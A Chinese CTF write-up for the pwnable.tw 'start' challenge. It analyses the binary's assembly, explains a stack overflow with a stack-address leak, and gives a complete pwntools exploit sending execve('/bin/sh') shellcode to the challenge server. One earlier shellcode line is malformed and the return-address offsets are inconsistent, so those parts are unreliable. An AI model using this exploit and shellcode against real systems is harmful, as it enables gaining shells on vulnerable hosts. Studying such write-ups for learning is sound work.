pwnable.tw--start做题笔记

题目

.text:08048060                 public _start
.text:08048060 _start          proc near
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed

该题由汇编写成,比较简短,且checksec出无其他保护措施

 

分析

1.可以看到两个int 80h指令(linux系统中的系统调用是通过该指令执行的)参考文章

其中第一个int 80h的调用号是4(al存放调用号),对应的调用write函数

其中第二个int 80h的调用号是3,对应的调用read函数

(他们对应的参数分别存放在各个寄存器上)

2.read函数存在溢出 

溢出偏移为0x14

由于该程序无栈保护,我们直接将shellcode填写到栈上

但由于地址空间随机化(ASLR),我们每次打开程序其都会将栈的地址随机化,我们将eip控制返回到我们栈时,我们是不知道此时的栈地址的,故我们需要利用rop先将栈的地址泄露 

 3. 利用前面的write函数打印栈地址

  将返回地址更改为0x8048087

.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write

   所以我们的第一个payload为

writeaddr=0x8048087

payload1=b'a'*(0x14)+p32(writeaddr)

得到的栈地址还需要加上0x14,因为到后面read函数时栈回回收(add esp,0x14)

leakaddr=u32(p.recv(4))

retaddr=(leakaddr+0x14)

 此时第二个payload为

shellcode=b''/x31/xc0/x31/xd2/x52/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/6e"

payload2=b'a'*(0x14)+p32(retaddr+0x14)+shellcode

 完整poc

from pwn import*

#p=process("/home/zzr/桌面/start")
p=remote("chall.pwnable.tw",10000)
context(log_level='debug',arch='i386',os='linux')

#gdb.debug(p,'break start')
#gdb.attach(p)
#pause()
p.recv()

#payload=p32(0x8048060)
#p.sendline(payload)

#shellcode=asm(shellcraft.sh())

shellcode=b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
payload1=b'a'*(0x14)+p32(0x8048087)

#gdb.attach(p)
#pause()
p.send(payload1)
#p.recv(4)
leakaddr=u32(p.recv(4))
#leakaddr=u32(p.recv(4))
print(hex(leakaddr))
#print(addr)

retaddr=leakaddr
print(hex(retaddr))


#gdb.attach(p)
#pause()
payload2=b'a'*(0x14)+p32(retaddr+0x14)+shellcode
#pause()
p.sendline(payload2)


p.interactive()

总结 

还是得多调试

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值